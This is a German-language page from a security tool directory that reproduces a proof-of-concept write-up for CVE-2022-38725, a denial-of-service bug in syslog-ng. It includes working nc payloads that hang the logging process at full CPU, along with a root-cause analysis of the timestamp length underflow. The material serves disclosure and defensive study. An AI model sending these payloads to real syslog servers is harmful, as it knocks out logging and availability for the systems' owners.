Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2022-38725 — Proof of Concept für CVE-2022-38725 gegen syslog-ng | Kitploit
Tools/GitHubGitHub/wdahlenburg/cve-2022-38725
SchwachstellenanalyseExploitationNetzwerksicherheitPenetrationstestsLog-Analyse
GitHubwdahlenburg/cve-2022-38725

CVE-2022-38725

Proof of Concept für CVE-2022-38725 gegen syslog-ng

Repository anzeigen
2vor 2 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2022-38725

CVE-2022-38725 ist eine nicht authentifizierte Denial-of-Service-Schwachstelle in syslog-ng-Versionen vor 3.38.1.

https://github.com/syslog-ng/syslog-ng/security/advisories/GHSA-7932-4fc6-pvmc

https://nvd.nist.gov/vuln/detail/CVE-2022-38725

Schritte zur Reproduktion

  1. Ein verwundbares Docker-Image pullen:
root@kitploit:~
docker pull linuxserver/syslog-ng:3.36.1
  1. Einen verwundbaren syslog-ng-Container ausführen. Beachte, dass andere syslog-Konfigurationen angewendet werden können, aber die Standardeinstellungen verwundbar sind:
root@kitploit:~
docker run -p 514:5514/udp -p 601:6601/tcp --rm -it linuxserver/syslog-ng:3.36.1
  1. Die Payload an den Server senden:
root@kitploit:~
echo '27 <182>2022-08-17T05:02:28.217 mymachine su: 'su root' failed for lonvick on /dev/pts/8' | nc 127.0.0.1 601 -w 1
  1. Auf dem verwundbaren Host feststellen, dass die CPU für den syslog-ng-Prozess auf 100 % gestiegen ist

syslog-ng-CVE-2022-38725

Analyse

Tool herunterladen

Das 3.38.1-Release verlinkt https://github.com/syslog-ng/syslog-ng/pull/4110, das Unit-Tests und mehrere Validierungen enthält, um ähnliche Varianten dieses Bugs zu verhindern.

Das ursprüngliche Issue enthält hilfreiches Debugging, das die Grundursache identifiziert hat.

Das GitHub-Advisory behauptet, dass die Schwachstelle durch unsachgemäßes Parsen von RFC3164 entsteht, dem traditionellen BSD-syslog-Format. Das Advisory erklärt, dass ein Integer-Unterlauf auftreten kann und dass keine anderen Auswirkungen als die Verfügbarkeit (Availability) für möglich gehalten werden.

Der Pull-Request zur Behebung der Schwachstelle fügt Unit-Tests sowohl für die RFC3164- als auch für die RFC5424-Timestamp-Parser (neueres syslog-Format) hinzu.

Beachte, dass die RFC3164-Spezifikation den Timestamp im Format Oct 11 22:14:15 definiert, während RFC5424 das ISO-Format 1985-04-12T19:20:50.52-04:00 verwendet. Die Unit-Fälle zeigen, dass der syslog-ng-Code versucht, beide Formate zu parsen. Das GitHub-Advisory behauptet, dass die Schwachstelle beim Parsen von RFC3164-Nachrichten auftritt, was nicht ganz korrekt ist. RFC5424-Nachrichten sind für den Timestamp mit variabler Länge verantwortlich. Da das syslog-Protokoll keinen Nachrichtentyp explizit angibt, hat das syslog-ng-Projekt versucht, beide Timestamps zu parsen. Dies ermöglicht es, dass auch eine RFC3164-Nachricht mit einem fehlerhaften Timestamp die Schwachstelle auslöst:

root@kitploit:~
echo '21 <182>Oct 11 22:14:15.123 mymachine su: 'su root' failed for lonvick on /dev/pts/8' | nc 127.0.0.1 601 -w 1

Die syslog-Quelle verwendet die Oktettzählung gemäß RFC6587, die der syslog-Nachricht die Anzahl der in TCP-Nachrichten gesendeten Bytes voranstellt.

Die Schwachstelle kann ausgelöst werden, indem eine Nachrichtengröße gesendet wird, die den ISO-Timestamp nicht vollständig berücksichtigt. Der syslog-ng-Code iteriert über den Timestamp und subtrahiert die Anzahl der Ziffern von der angegebenen Länge. Diese Diskrepanz ermöglicht eine Unterlaufbedingung (Underflow), bei der die Leselänge negativ wird, während noch Daten aus der Nachricht zu lesen sind.

Der Prozess läuft in eine While-Schleife, in der er festhängt und versucht, Zeichen aus der Nachricht zu lesen. Dieses Problem führt zu 100 % CPU-Auslastung für den jeweiligen Prozess. Ein Angreifer kann mehrere Payloads senden, um zusätzliche Systemressourcen zu verbrauchen.

Syslog verwendet über UDP keine Oktettzählung, daher hat die obige Payload keine ungewöhnliche Wirkung. Ein Neustart des syslog-ng-Containers/-Prozesses setzt die CPU-Auslastung zurück.

Zusätzlich

Einer der syslog-ng-Maintainer wies darauf hin, dass es möglich sein könnte, dies über ein TCP RST mitten in einer Nachricht auszulösen. Es wurde angemerkt, dass die Nachricht vor dem TCP RST einen Teil-Timestamp senden müsste. Dies könnte es ermöglichen, die Oktettzählung zu umgehen.